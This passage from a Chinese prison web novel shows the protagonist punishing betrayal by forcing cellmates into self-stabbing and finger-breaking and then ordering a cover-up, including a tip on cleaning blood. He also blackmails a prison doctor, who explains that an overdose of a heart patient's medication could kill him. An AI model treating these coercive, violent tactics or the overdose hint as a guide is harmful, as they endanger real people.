腿上的痛一阵阵传来,胫骨可能真的裂了。
但比起这个,他更在意监舍里的事——
周晓阳的背叛,刀疤辉的算计。
二十分钟后,他们回到了三监区。
狱警打开312监舍的铁门,把林燃推进去,什么也没说,重新锁上门离开。
监舍里一片漆黑。
但林燃能感觉到,所有人都醒着。
刀疤辉的呼吸在右侧上铺,有些急促。
牛哥和麻杆的呼吸很轻,假装睡着。
周晓阳则在最里面的下铺,身体微微发抖。
林燃摸索着走到自己的床位——头板位置。
他没有立即躺下,而是坐在床沿,开始解缠手的布条。
动作很慢,布条摩擦的声音在寂静中格外清晰。
“燃、燃哥……”周晓阳终于忍不住,声音带着哭腔:
“你……你回来了……”
林燃没理他。
布条解完,他活动了一下手指,关节发出轻微的“咔吧”声。
然后他起身,一瘸一拐地走到监舍中央,那里是唯一有微弱光线的地方——
铁窗外路灯的光透进来,在地面投出一小片昏黄。
“都起来。”
林燃说,声音不高,但透着不容置疑的冷。
刀疤辉第一个翻身下床。
牛哥和麻杆也赶紧爬起来。
周晓阳哆哆嗦嗦地走过来,脸色在昏光下惨白如纸。
四个人站在林燃面前,低着头,不敢看他。
林燃的目光先落在周晓阳身上。
“下午那包药粉,还有剩的吗?”他问。
周晓阳浑身一颤:“没、没有了……刀疤辉就给了我一包……”
“什么药?”
“我、我不知道……他说是安眠药……”
林燃转向刀疤辉:“你说。”
刀疤辉咽了口唾沫,额头冒汗:
“燃哥,我……我就是想让你睡一觉,错过拳赛……没想害你……”
“药哪来的?”
“是……是佛爷那边的人给的……”刀疤辉声音越来越低:
“他们说,只要你上不了拳台,就给我减点债数……
我也是没办法,毕竟……”
林燃点点头,似乎并不意外。
他又看向周晓阳:“他拿什么威胁你?”
“我、我妹妹……”
周晓阳眼泪掉下来。
“他说我要是不做,就找人去学校堵她……燃哥,我真的没办法……”
林燃沉默了几秒。
昏黄的光线下,他的脸半明半暗,看不清表情。
然后他开口,语气平静得可怕:
“周晓阳,你跟了我两个月。我给你的位置,给你的吃的,教你的规矩,你都记得吧?”
“记得……我都记得……”
周晓阳跪了下来。
“燃哥,我对不起你,你弄死我吧,我绝无怨言……”
林燃没说话,用行动回答——
他拔出之前防身的那把小刀。
“监狱有监狱的规矩,道上也有道上的规矩。”
林燃说,声音在寂静的监舍里回荡。
“背叛兄弟,三刀六洞。这规矩,你懂吗?”
周晓阳浑身一震,猛地抬头,眼中满是恐惧。
刀疤辉三人也倒吸一口凉气——他们没想到林燃会来真的。
“燃哥……”周晓阳嘴唇哆嗦。
“我……我愿意受罚……但求你别杀我……我妹妹还需要人照顾……”
林燃没说话,只是走到监舍角落,从水桶里舀了一瓢水,淋在小刀上。
算是清洗,也是仪式。
然后他走回来,把刀递给周晓阳。
“自己动手。”
林燃说,“三刀,六个洞。扎大腿,别扎手——
你还要干活,还要给你妹妹写信。”
周晓阳颤抖着接过刀,眼泪和鼻涕混在一起。
他咬咬牙,卷起左腿裤管,露出瘦削的大腿。
第一刀,他刺向大腿外侧。
刀刃入肉,穿过,从另一侧露出刀尖——
一刀两洞。
周晓阳闷哼一声,鲜血瞬间涌出。
他拔出刀,血顺着刀身滴在地上。
第二刀,刺向另一处。
又是穿透。
周晓阳脸色惨白,汗如雨下,但没叫出声。
第三刀,他手已经不稳,刺进去后没能完全穿透。
林燃走上前,握住他的手,用力一推。
刀尖从大腿后侧穿出。
三刀,六个血洞。
周晓阳瘫倒在地,大口喘气,鲜血迅速浸湿了裤子和地面。
林燃蹲下身,从布包里拿出准备好的干净布条——
那是他之前从医务室偷偷攒的纱布。
他动作麻利地给周晓阳包扎止血,手法专业得不像犯人。
“伤口不深,没伤到大血管,死不了。”
林燃一边包扎一边说。
“但会留疤,也会疼很久。这是你该受的。”
周晓阳虚弱地点头,眼泪无声地流。
包扎完,林燃站起身,看向刀疤辉。
刀疤辉已经吓得腿软,几乎要跪下来。
“燃哥,我错了……我真的错了……你饶我这次……”
他语无伦次。
林燃走过去,一把揪住刀疤辉的衣领,将他拖到监舍中央。
“你是笑面佛的人,对吧?”林燃问。
“是……但我以后不敢了……我真的不敢了……”刀疤辉拼命摇头。
林燃松开手,又拿过那柄小刀。
“你帮着外人算计我,按规矩,该废你一只手。”
林燃说,“但看在你之前还算老实的份上,我给你个选择。”
他把刀柄丢在刀疤辉面前。
“自己断一根小指。左手。以后还能干活。”
第四十九章 断指
刀疤辉盯着地上那把今天两度染血的小刀,浑身发抖。
断指……
在监狱里,断指意味着残疾,意味着以后再也抬不起头。
但比起被林燃亲自动手废掉整只手,这已经是仁慈。
他颤抖着捡起刀柄,咬咬牙,将左手小指按在地上。
然后,闭眼,用力砸下去!
咔嚓!
脆响在监舍里格外刺耳。
刀疤辉惨叫一声,粗制小刀不够锋利,钝刀子割肉,才将小指砸成一个诡异的角度。
他抱着手蜷缩在地,痛得浑身抽搐。
林燃走过去,检查了一下——
骨折了,但没完全断开,接上还能用,只是会留后遗症。
“牛哥,麻杆。”林燃转头。
两人“噗通”跪下来。
“燃哥!我们什么都没做!都是刀疤辉逼我们的!”牛哥哭喊着。
麻杆拼命点头:“对对对!我们不敢害燃哥!”
林燃看了他们几秒。
“今晚的事,一个字都不许往外说。”
他冷冷道:
“周晓阳的伤,就说自己不小心摔的。刀疤辉的手指,就说打架弄的。明白吗?”
“明白!明白!”两人如蒙大赦。
“把地擦干净。”林燃指了指周晓阳流血的地方。
“用凉水,别用热水——热水留腥味。”
牛哥和麻杆赶紧爬起来,手忙脚乱地去处理血迹。
林燃走回自己的床位,坐下来,开始处理自己腿上的伤。
他卷起裤管,左小腿胫骨处已经肿起一大片,皮下淤血发黑,触感发热——
是骨裂的典型症状。
他从布包里找出最后一点药膏——
那是之前苏念晚给的,不管有没有用。
都小心地涂抹在肿处,然后用撕成条的床单紧紧包扎固定。
做完这一切,他才躺下来,长长呼出一口气。
监舍里只剩下压抑的呼吸声,和牛哥麻杆擦拭地面的窸窣声。
刀疤辉蜷在角落,抱着断指的手,痛得直抽气,但不敢出声。
周晓阳躺在自己床上,脸色苍白,但眼神却有种奇怪的平静——
仿佛赎罪之后,反而轻松了。
林燃闭上眼。
腿很痛,全身都在痛。
但心里那块石头,暂时放下了。
周晓阳受了罚,但命保住了,以后或许还能用。
刀疤辉断了指,从此在监舍里再也抬不起头,只能彻底依附于他。
笑面佛那边暂时退让,但仇恨已经结下,后续必有报复。
码头帮的钱应该到账了,父亲看病的费用有了着落。
秦墨那边,云州案不知道进展如何……
思绪纷乱中,林燃渐渐睡去。
监舍的黑暗里,刀疤辉偷偷睁开眼,看向林燃的方向。
昏暗中,那个年轻人静静躺着。
呼吸平稳,仿佛刚才的狠辣与决断都不是他做的。
但刀疤辉知道,从今往后,312监舍——
不,整个三监区,都不会再有人敢小看这个叫林燃的年轻人。
他低头看看自己畸形的小指,苦笑一声。
心里那点最后的不服,终于彻底烟消云散。
有些人是狼,有些人是虎。
而林燃……是那种能在狼群和虎穴中,硬生生撕出一条血路的怪物。
跟这种人作对,会死得很惨。
但跟着他……或许,真的能活下去。
…………
第二天上午,林燃左腿肿得更厉害了。
走路时每一步都像踩在刀尖上,胫骨处传来钻心的钝痛。
但他脸上没什么表情,只是扶着墙,慢慢挪到监舍门口。
“燃哥,你好点没?”周晓阳挣扎着从床上坐起来。
虽然他的伤明明更痛,大腿裹着厚厚的布条。
三刀六洞的伤口还在渗血,脸色苍白得吓人。
“嗯。”林燃应了一声,“报告,犯人林燃,申请诊治!”
犯人不是想看病就能看病的,他这是码头帮早就安排好的“赛后服务”。
牛哥和麻杆缩在角落,大气不敢出。
刀疤辉抱着缠满布条的手,坐在便池旁发呆——
他的小指昨晚被林燃用两块木板夹住固定,虽然接上了,但以后能恢复多少功能,谁也说不准。
狱警来了,林燃没再看他们,拉开门走了出去。
走廊里光线昏暗,早起的犯人们端着饭盒排队打饭。
看到林燃一瘸一拐地走过,不少人都投来复杂的目光。
拳赛的事一夜之间传遍了整个监狱。
有人说林燃把猴子打废了。
有人说笑面佛当场认怂。
还有人说林燃在拳台上动了刀,按规矩该断手指。
但所有这些议论,在林燃经过时都会自动压低。
没人敢当着他的面说。
经过饭堂门口时,林燃遇到了铁头。
“林哥!”铁头快步走过来,压低声音。
“钱到了。大眼仔让我告诉你,五千块已经汇到你指定的账户,剩下五千等你伤好了再谈。”
林燃点点头:“知道了。”
“还有……”铁头左右看看,凑得更近。
“笑面佛那边有动静。
今天一早,他手下几个人去了二监区,好像是去找‘北佬帮’的人。”
“北佬帮?”林燃微微皱眉。
“对,有个关公文身的叫赵小龙,是‘东北虎’赵大金手下的二当家。”
铁头说,“具体谈什么不清楚,但应该跟你有关。”
林燃沉默了几秒。
原来那人叫赵小龙。
笑面佛去找北佬帮,无非一种可能:求和。
现在码头帮势力大,北佬帮不服他,要想对自己动手,得分而化之。
“知道了。”他说,“你先回去,别让人看见你跟我说话。”
“好。”铁头转身要走,又停住。
“林哥,现在这局势……
你说,我们要不干脆加入码头帮算了?在安江混,独狼走不远的。”
他看了铁头一眼。
没想到这赌博犯,倒挺仗义。
开始只是一起搞赌局,现在倒隐隐有自己手下的意思了。
但此时林燃没说话,继续朝医务室方向走去。
…………
医务室在监区综合楼一层,离三监区有段距离。
林燃走了将近二十分钟,每一步都疼得冒冷汗。
到门口时,后背的囚服已经被汗水浸透。
推开铁门,消毒水的气味扑面而来。
上午的医务室很安静,只有两个犯人在长椅上排队——
一个捂着肚子,一个手上缠着渗血的绷带。
第五十章 想要吗
值班的是个中年男医生,戴副老花镜,正在低头写病历。
“姓名,监舍,哪里不舒服?”
他没抬头,机械地问。
“312监舍,林燃。左腿摔伤了。”
男医生这才抬起头,推了推眼镜,打量林燃几眼。
“又是你。”
他显然记得这个“麻烦人物”,“等着。”
说完继续低头写字,丝毫没有要马上处理的意思。
林燃也没催,在旁边长椅上坐下。
腿上的疼痛一阵阵袭来,他闭上眼,调整呼吸,尽量不去想它。
大约过了十分钟,里间的门开了。
苏念晚走出来,白大褂里面是浅灰色的针织衫,身材丰润亭亭。
长发松松挽在脑后,露出白皙的后颈,看得人口干舌燥。
她手里拿着一个文件夹,正要往柜子里放,抬头看见林燃,脚步顿了一下。
四目相对。
林燃看到她眼中闪过一丝慌乱,但很快被职业性的平静掩盖。
“苏医生。”
男医生开口,“这个病人腿伤,你处理一下?”
苏念晚抿了抿唇,点点头:“好。”
她走到林燃面前,声音很轻:“跟我进来。”
林燃起身,跟着她走进里间诊室。
门关上,隔绝了外面的视线。
诊室不大,靠墙摆着一张检查床,一个药柜,一张办公桌。
桌上放着那台老式CRT电脑,屏幕上是DOS系统的医疗管理系统。
窗台上,那个用纱布缝的小香包还在,散发着淡淡的栀子花香。
“坐。”苏念晚指了指检查床,自己戴上一次性手套,动作有些僵硬。
林燃坐下,卷起左腿裤管。
肿起的部位已经发紫,皮下淤血像蛛网一样蔓延,触目惊心。
苏念晚蹲下身,手指轻轻按压肿处。
“什么时候伤的?”
“昨天。”
“怎么伤的?”
“摔的。”
苏念晚抬头看了他一眼,眼神里写着“我不信”。
但没再追问。
她继续检查,手指沿着胫骨按压,动作专业而轻柔。
“这里疼吗?”
“嗯。”
“这里呢?”
“疼。”
按到某个位置时,林燃闷哼一声,额头渗出细汗。
苏念晚停下手:
“可能是骨裂。得拍X光片确认,但监狱医院没设备。
只能去市医院。我给你开转诊单,但批不批要看上面。”
“不用。”
林燃说,“你就按骨裂处理。”
苏念晚皱起眉:“如果真是骨裂,不正规治疗会留下后遗症,
以后阴雨天会疼,还可能影响走路……”
“我知道。”林燃打断她,“按我说的做。”
他的语气很平静,但透着不容置疑。
现在短暂出去就医,对林燃来说不是好事。
在监狱高墙内,幕后黑手已经三番五次下手了。
到了无人保护的外部医院,自己怎么死的都不知道。
苏念晚咬了咬嘴唇,起身去药柜拿东西。
她先取来冰袋,用毛巾包好,敷在林燃肿处。
“冷敷二十分钟,消肿。”她说着,看了眼墙上的钟,“然后我给你固定。”
林燃没说话,只是看着她。
苏念晚被他看得有些不自在,转身假装整理药品,但手指微微发抖。
“你母亲,”林燃忽然开口,“尿毒症晚期是吧?”
苏念晚身体一僵。
她慢慢转过身,脸色发白:“你……你想干什么?”
“问问。”林燃说,“在哪家医院?主治医生是谁?叫什么名字?”
“这不关你的事。”苏念晚的声音在颤抖。
“是不关我的事。”
林燃点头,“但我想问,你就要回答我——毕竟你现在是我的人。”
“我不是你的人!”苏念晚猛地抬头,眼中泛起水光。
“我只是……只是被你威胁……”
“有区别吗?”林燃反问。
苏念晚说不出话。
她看着眼前这个年轻犯人,明明比自己小好几岁。
可那双眼睛里的冷静和掌控感,让她感到深深的无力。
“市三医院。”她最终妥协,声音低得像蚊子。
“主治医生是肾内科的刘主任。我妈姓梁,叫梁红燕。”
“梁红燕。”林燃重复这个名字。
“我记得你还欠高利贷吧?多少?”
苏念晚痛苦的闭上眼睛:
“三万。”
“利息呢?”
“月息五分。”
月息五分,三万块一个月光利息就是一千五。
加上母亲的医疗费,她每个月的支出得几千。
每月支出相当于一个农民一年的收入。
而她一个监狱医生的工资,撑死两千。
“所以你就帮犯人伪造病历,让他们监外就医。”
林燃说,“一个人收多少?”
苏念晚睁开眼,眼神里有绝望,也有破罐子破摔的狠意:
“你都已经知道了,还问什么?”
“一个人五千?”林燃猜测。
“还是八千?”
“一万。”
苏念晚吐出这个数字。
“一个人一万。我做了三个,拿到三万,全还了高利贷。
但上个月母亲感染住院,又欠了医药费……”
她说不下去了,转过身,肩膀微微颤抖。
林燃沉默。
诊室里只剩下冰袋融化的滴水声,和墙上挂钟的滴答声。
二十分钟到。
苏念晚深吸一口气,擦掉眼角的泪,转身取下冰袋。
肿消了一些,但淤血更明显了。
她从药柜里拿出绷带、夹板和医用胶布,开始给林燃固定。
动作很专业,先垫一层软垫,再上夹板,最后用绷带缠紧。
“不要沾水,不要用力,尽量躺着。”
她一边缠一边说。
“我给你开点消炎止痛药,但监狱药房不一定有,我尽量申请。”
“嗯。”林燃应了一声。
苏念晚缠好绷带,蹲着收拾地上的医疗废物。
白大褂的领口微微敞开。
从这个角度,能看到里面针织衫的领口,和一小片白皙的皮肤。
还有鼓鼓囊囊的曲线,简直遮天蔽日。
她似乎察觉到什么,猛地抬头,对上林燃的目光。
先是浑身一震,然后退一步。
但很快反应过来。
她眼中闪过很多情绪——恐惧、屈辱、认命。
接着她咬紧嘴唇,缓缓站起身。
“你……”她的声音很轻,带着颤。
“是不是想要……那个?”
林燃没明白:“什么?”
苏念晚的脸涨红了,手指攥紧白大褂的衣角。
“就是……你们男人都想要的。”
第五十一章 以德服人
她低下头,声音几乎听不见。
“如果你想要……我可以……但求你别伤害我母亲……”
林燃愣住了。
他花了三秒钟才反应过来她的意思。
然后,他笑了。
不是冷笑,也不是嘲笑,而是一种……觉得荒唐的笑。
“苏医生,”他说。
“你觉得我找你,是为了这个?”
苏念晚抬头,眼中满是不解和困惑:
“难道……不是吗?”
“不是。”
林燃摇头,笑容收敛:
“我不喜欢趁人之危。你帮我做事,是因为你有把柄在我手里,这是交易。
但交易归交易,我不会用这个逼你做那种事。”
苏念晚呆住了。
她看着林燃,看着他平静的眼睛,看着他缠着绷带的腿,看着他囚服上洗得发白的编号。
这个犯人……和她想象的不一样。
“那……你想要什么?”她问。
“我之前说过的。”林燃回答。
“哦!”
苏念晚反应过来,从抽屉里拿出一本厚厚的病历册。
“这是陈有仁的病历。”
她说,声音很轻,“我昨晚……提前找出来了。”
林燃有些意外。
苏念晚把病历递给他:
“你自己看吧。他有先天性心脏病,室性早搏,需要长期服药。
最近两个月,心悸发作频率增加,我给他开过氨茶碱,但用量很谨慎。”
林燃翻开病历。
上面密密麻麻写满了医学术语和用药记录。
他看不懂全部,但大概能明白——陈有仁的心脏确实有问题,而且近期在恶化。
“氨茶碱……”林燃抬头,“如果加大剂量,会怎么样?”
苏念晚脸色一白。
“会诱发严重心律失常,甚至……猝死。”
她说,“但这种药有严格的剂量控制,我每次开药都要记录,不能多开。”
林燃合上病历,还给她。
“我不需要你多开药。”
他说,“我只需要知道,他现在吃什么药,剂量多少,多久复查一次。”
苏念晚松了口气。
“他每周三上午会来拿药。”
她说:
“每次拿一周的量,包括地高辛、胺碘酮,还有备用急救的硝酸甘油。
氨茶碱……我两个月前给他开过,但他没来拿。”
林燃记下了。
周三上午,地高辛和胺碘酮,备用硝酸甘油。
“还有,”
苏念晚犹豫了一下,还是说了出来。
“他最近在申请保外就医。病历我已经帮他改过了,把病情写得更严重些。
如果顺利,明年春天……他可能就能出去。”
林燃眼神一凛。
保外就医。
笑面佛如果出去了,在外面更能调动资源对付他。
“什么时候提交的申请?”他问。
“上周。”苏念晚说。
“材料已经送到监狱管理局了,正在审批。”
林燃点点头。
这个信息很重要,得想办法在此之前解决笑面佛。
接着他又问了药柜里止血药品的位置。
苏念晚帮他找出来。
“消炎药、纱布、碘伏、止痛片……你需要什么,自己拿。别拿太多,容易被发现。”
他拿了几板阿莫西林,几卷纱布,一瓶碘伏,还有一板止痛片。
想了想,又拿了两支破伤风抗毒素——
周晓阳的伤口虽然不深,但监狱环境脏,预防一下总是好的。
把东西塞进囚服内袋。
“谢谢。”
转身出门前,林燃说。
这两个字让苏念晚又是一愣。
一个犯人,一个掌握她生死秘密的犯人对她说“谢谢”,
语气真诚,没有嘲讽。
“你等下!”
她叫住林燃,转身从药柜里拿出一个小瓶。
“这是布洛芬,止痛的。一天两次,一次一片。只能给你三天的量,多了会被查。”
林燃接过药瓶,揣进兜里。
“还有,”苏念晚犹豫了一下。
“你腿伤不轻,最好申请病号监舍。那里环境好一点,也能避免……一些麻烦。”
“我知道。”林燃说,“但暂时不去。”
“为什么?”
“因为去了病号监舍,就离你们太远了。”
林燃看着她,“我需要随时能来医务室。”
苏念晚心头一紧。
刚刚那一丝感动烟消云散。
她不知道这话是什么意思,是威胁,还是……别的什么。
但她知道一件事——
从今天起,她的命运,已经和他绑在一起了。
无论她愿不愿意。
…………
林燃推开312监舍的铁门时,里面四个人同时抬头。
周晓阳躺在下铺,大腿裹着的布条渗着暗红,脸色惨白如纸。
刀疤辉蜷在便池旁,左手托着那根畸形的小指,额头上全是冷汗。
牛哥和麻杆缩在角落,像两只受惊的老鼠。
“燃哥……”周晓阳想坐起来,却疼得倒吸一口凉气。
林燃没说话,一瘸一拐走到监舍中央。
将囚服内袋里的东西一样样掏出来,放在水泥地上。
阿莫西林药板,纱布卷,碘伏瓶,止痛片,还有那两支破伤风抗毒素。
最后是苏念晚给的小药瓶——布洛芬。
四个人的眼睛都直了。
在监狱里,药比钱还金贵。
普通犯人受伤生病,要么硬扛,要么打报告排长队,看狱医脸色。
能拿到这么多药,还是进口的止痛片,简直不敢想。
“周晓阳。”
林燃开口,声音有些沙哑,“过来。”
周晓阳咬着牙,一点点挪下床,每动一下大腿就渗血。
林燃等他挪到跟前,撕开一支破伤风抗毒素的包装。
“裤子脱了。”
周晓阳愣了下,还是解开裤带,露出大腿上那六个血洞。
伤口边缘已经发红,有感染的迹象。
林燃用碘伏棉球仔细消毒,动作熟练。
他在警校学过战场急救,知道怎么处理这种穿刺伤。
消完毒,他拿起注射器,抽出破伤风抗毒素。
“忍着点。”
针头扎进周晓阳大腿外侧的肌肉,药液缓缓推入。
周晓阳浑身绷紧,额头青筋暴起,但没叫出声。
注射完,林燃又给他伤口撒上消炎药粉,用新纱布重新包扎。
“一天换一次药,别沾水。”
他把阿莫西林药板扔给周晓阳,“早晚各一片,吃三天。”
周晓阳捧着药,眼泪又下来了:
“燃哥,我……”
“闭嘴。”林燃打断他。
第五十二章 外部棋子
他转向刀疤辉。
刀疤辉浑身一颤,下意识往后缩。
“手。”
林燃说。
刀疤辉哆嗦着伸出左手。
小指肿得发紫,夹板固定得歪歪扭扭,显然是昨晚自己瞎弄的。
林燃皱眉,拆掉夹板。
小指呈诡异的L型,第二指节完全错位,皮下淤血严重。
“接歪了。”
他冷冷道,“以后这根手指就是摆设。”
刀疤辉脸色煞白。
林燃重新给他正骨——手法粗暴,但有效。
刀疤辉痛得闷哼一声,差点晕过去。
“痛就记住。”
林燃一边给他上夹板一边说。
“记住是谁让你断的指,是谁给你接的骨。”
固定好手指,包扎后,他扔给刀疤辉两片布洛芬。
刀疤辉捧着那两片白色药片,手抖得厉害。
他从十八岁混社会,蹲过三次监狱,见过太多狠人。
但像林燃这样的,第一次见——
打人时能往死里打,治伤时又能给你药。
这种恩威并施,比单纯的暴力更让人恐惧,也……更让人服气。
“燃哥,”刀疤辉抬起头,眼神复杂。
“我……我以后跟你。”
林燃看着他,没说话。
“真的。”刀疤辉咬牙。
“佛爷那边,我不回去了。他们拿我当狗,用完就扔。你……你至少还给我药。”
这话说得实在。
在笑面佛手下,刀疤辉这种打手就是消耗品。
断了指,废了,也就没用了。
但林燃还给他接骨,给他止痛药——
虽然这伤本来就是林燃造成的。
可监狱就是这么个地方。
谁的拳头硬,谁就有理。谁给你活路,你就跟谁。
“牛哥,麻杆。”林燃转向角落两人。
两人赶紧爬起来:“燃哥!”
“周晓阳换药的事,你们负责。”
“一定做好!一定!”两人连连点头。
林燃这才坐回自己床上,卷起左腿裤管。
苏念晚包扎得很专业,但肿胀还是没消。
他从药瓶里倒出一片布洛芬,就着昨天剩的半碗凉水吞下去。
药效需要时间。
他靠在墙上,闭目养神。
监舍里安静下来,只有周晓阳压抑的呼吸声,和远处监狱广播里模糊的新闻播报。
时间一点点流逝。
下午两点,放风铃响起。
监舍铁门被拉开,狱警在外头喊:“312,放风!”
牛哥和麻杆看向林燃。
“你们去。”
林燃闭着眼说,“周晓阳和刀疤辉留下。”
两人如蒙大赦,赶紧溜出去。
铁门重新关上。
林燃睁开眼,看向刀疤辉:
“说说,笑面佛到底想干什么?”
刀疤辉舔了舔裂开的嘴唇:
“燃哥,我说实话……我也不知道佛爷到底图啥。”
“那药粉呢?”
“药粉是白癜风给我的。”
刀疤辉说,“他说只要让你输了拳赛,就免我一万赌债。我就……”
“白癜风还说了什么?”
“他说……”刀疤辉犹豫了一下。
“他说有人出高价买你的腿,但佛爷暂时不动你,想看看你到底有多大能耐。”
林燃眼神一冷。
笑面佛在评估他的价值——是直接废了拿赏金,还是收为己用。
笑面佛和幕后黑手并不完全一条心。
“买我腿的人,是谁?”林燃问。
“这个我真不知道。”刀疤辉摇头。
“白癜风嘴严,我只听他说是‘外面的大人物’,能量很大。”
林燃沉默。
外面的大人物……姚永军?
有可能。
如果姚永军是特殊战线的人?会用这种江湖手段吗?
还是说,他手下有专门干脏活的人?
“还有。”
刀疤辉忽然想起什么。
“白癜风前天提过一嘴,说佛爷最近在申请保外就医。”
保外就医。
苏念晚也说陈有仁在申请。
两件事对上了。
笑面佛在弄取保候审。
而昨晚猴子在拳台上动刀,不是为了赢比赛,而是为了那笔赏金。
猴子混了两年黑拳,知道规矩。
动刀要断指,但他还是做了。
为什么?因为那两万块足够他打点关系,甚至减刑。
钱能让人疯狂。
也能让人不要命。
“燃哥,”周晓阳虚弱地开口。
“那你现在……不是很危险?”
林燃没回答。
危险?他从来就没安全过。
从重生那天起,他就活在刀尖上。
鳄老大要他的命,笑面佛要他的腿,幕后黑手要他的命。
还有监狱里那些看不见的敌人,那些随时可能从背后捅来的刀子。
但正因为危险,他才必须活下去。
必须比所有人都狠,比所有人都聪明。
林燃心里有了计划。
他现在要做三件事:
第一,养好腿伤,至少恢复到能走路。
第二,摸清笑面佛的作息和手下分布。
第三,搞定笑面佛。
第一件事靠药和时间。
第二件事,刀疤辉可以提供情报。
第三件事……最难。
但也不是没办法。
“刀疤辉,”林燃说,“你在笑面佛手下混了多久?”
“三年。”
“认识他身边所有人?”
“大部分都认识。”
刀疤辉点头,“白癜风,平头男,还有七八个打手。外面也有他的人,负责收账和送货。”
“送货?”林燃挑眉。
“就是……监狱里的货。”
刀疤辉压低声音,“烟,酒,药,有时候还有手机。佛爷有渠道,能从外面带东西进来。”
林燃眼神一动。
渠道。
如果能掌握笑面佛的渠道,或许能抓住他把柄。
“他的渠道,你知道吗?”
“这个……”刀疤辉面露难色。
“我只知道白癜风负责对接,具体怎么运作不清楚。
但我听说,送货的人每次都不一样,有时候是探监的家属,有时候是送货的司机,还有时候……”
他顿了顿,声音更低了:
“还有时候是狱警。”
周晓阳“嘶”了一声,他没想到这里面如此黑暗。
林燃并不意外。
监狱是个密封的罐头,但总有缝隙。
钱能撬开任何缝隙。
林燃靠在墙上,感受着腿部的钝痛。
布洛芬开始起效,疼痛减轻了些,但肿胀依旧。
他需要时间。
也需要运气。
但更重要的是,他需要棋子——越多越好。
铁头是一枚,周晓阳是一枚,刀疤辉现在是第二枚。
牛哥和麻杆勉强算半枚。
还不够。
他需要外部的棋子。
第五十三章 抓获
秦墨是一枚,但远水救不了近火。
苏念晚……算一枚,但她太脆弱,暂时只能用来获取信息。
码头帮的大眼仔?交易关系,不稳定。
北佬帮的赵小龙?或许可以接触。
还有那个神秘的“教授”……
林燃的思绪飘到阅览室,那个坐在角落里看外文书的中年男人。
老赵头说他很危险,但林燃感觉,那种危险和笑面佛不一样。
笑面佛是狼,凶残,直接。
教授是蛇,隐蔽,致命。
如果能用得好……
“燃哥。”周晓阳忽然开口,打断他的思绪。
“说。”
“我想……我想好了。”
周晓阳的声音很轻,但很坚定。
“以后我就跟你,死都跟你。我这条命是你给的,我妹妹……如果以后我出事,你能不能……”
“不能。”林燃说得很干脆。
周晓阳一愣。
“自己的家人自己保护。”
林燃看着他。
“你要活下来,活着出去,亲自保护你妹妹。别把希望寄托在别人身上——
在监狱里,这是最蠢的想法。”
周晓阳张了张嘴,最终重重点头:
“我明白了。”
“明白就好。”
林燃重新闭上眼。
药效完全上来了,疼痛被压制,倦意如潮水般涌来。
他需要睡一觉。
在睡着前,他最后想了一件事:
猴子现在在哪儿?医务室?还是禁闭室?
那一刀他刺得很准,伤到了神经,但不致命。
猴子会残,但不会死。
一个残废的黑拳手,在监狱里会是什么下场?
被抛弃,被欺凌,最后像垃圾一样烂在某个角落。
这就是监狱的法则:有用的时候你是工具,没用了你就是废物。
林燃不想变成废物。
所以,他必须一直有用。
一直……锋利。
铁窗外,天色渐渐暗下来。
监舍里的光线越来越暗,最后只剩走廊透进来的一线微光。
林燃睡着了。
他做了一个梦。
梦里,他回到那个阴暗的码头仓库,手里捧着那个铁皮茶叶罐。
罐子很轻,但压得他喘不过气。
远处,警灯闪烁。
一个光头男人站在阴影里,朝他微笑。
那是姚永军。
他说:“林燃,任务完成了。你现在是英雄。”
然后,警察冲上来,手铐冰凉。
林燃猛地睁开眼。
冷汗浸透了后背。
监舍里一片漆黑,已是深夜。
他喘着气,平复心跳。
梦是假的。
但恨是真的。
总有一天,他会找到姚永军。
会把那把刀,插进对方的心脏。
一定。
…………
三天后,林燃的左腿消肿大半,能勉强走路了。
刀疤辉的手指也结了痂,虽然畸形,但总比彻底废掉强。
周晓阳大腿上的六个血洞开始愈合,每天由牛哥和麻杆换药,没再感染。
从外人看,312监舍全员挂彩,好像经历一番惨烈混战。
但事实相反,这下过后,进入一种真正的平衡——
没人再怀疑林燃的权威。
他真正地收服了整个监舍。
上午九点,他在牛哥的搀扶下去医务室换药。
苏念晚今天穿了件米白色的薄毛衣,长发用一根木簪子松松绾起,露出修长的脖颈。
看得牛哥眼睛都直了。
都听说有个女神狱医,但没想到这么漂亮,身材玲珑浮凸,简直炸裂……
他刚浮想翩翩,旁边一道目光射来。
是老大林燃的冷眼。
牛哥赶紧低头退了出去,等在外面。
林燃咳嗽一声,走了进来,苏念晚眼神闪了闪。
但没说话,只是指了指检查床。
林燃坐下,卷起裤腿。
纱布拆开,伤口恢复得比预想中好——
苏念晚仔细消毒,重新上药。
“恢复得不错。”
她轻声说,像是在自言自语,“但还得静养两周,不能用力。”
“嗯。”
“止痛药还够吗?”
“够。”
对话简单到尴尬。
苏念晚包扎完,收拾器械时,手指不小心碰到林燃的大腿上。
她像触电般缩回手,耳根泛起微红。
林燃看在眼里,没说什么。
就在这时,外面传来狱警的喊声:
“312林燃!有人会见!”
林燃皱了皱眉。
会见?那应该是……
苏念晚抬头看了他一眼,眼神里有一丝复杂——
有担心,也有好奇。
“去吧。”她低声说,“腿注意点。”
林燃点头,从检查床上挪下来,扶着墙慢慢走出去。
…………
会见室在监区另一头,到门口,狱警示意他停下。
“搜身。”
林燃配合地举起双手。
狱警从上到下仔细摸了一遍,连鞋底都检查了,确认没有违禁品,才推开厚重的铁门。
“进去。二十分钟。”
林燃被带进一个小隔间,里面只有一张桌子,两把椅子,没有玻璃隔断。
这里和探视区不同,更私密,通常用来安排律师会见或警方问询……
或者是亲密家属拥抱接触。
而今天来的,是林燃的“女朋友”——秦墨。
一般人很难预约到会见,更见秦墨下了功夫。
但选择这种面对面的“亲密模式”。
林燃猜到有好事发生,也表示她对自己的信任、依赖也大幅加深。
果然,秦墨今天依旧没穿警服,而是一身浅灰色便装,头发留长了一些。
脸上甚至化了淡妆。
虽然眉眼间仍有疲惫,但整个人透着一股难得的轻松,甚至……兴奋。
林燃坐下,看着眼前丽人。
秦墨得看到林燃受伤,一下有些惊讶。
“你腿怎么了?”
“摔了一跤。”林燃说得轻描淡写。
秦墨皱了皱眉,显然不信,但没追问。
她深吸一口气,身体微微前倾,想压低声音,但上翘的尾音掩不住她的喜悦:
“赵永强抓到了!”
林燃眼神一动。
“详细说下。”
“就是按你的思路。”
秦墨笑了一下,眼睛里闪着光。
她语速很快,像在汇报工作,但又带着分享秘密的兴奋。
“撤了旅馆三楼的监视点,换到一楼临街房间,利用窗户反光观察。
找了四个面生的年轻民警,伪装成外地打工的,在赵家杂货店那条街租了短租房,天天在街上晃。”
“重点布控凌晨三点到五点——你猜对了,那段时间街面最静。”
第五十四章 昌荣国际
“而早摊贩和清洁工已经开始活动,陌生人反而显眼。”
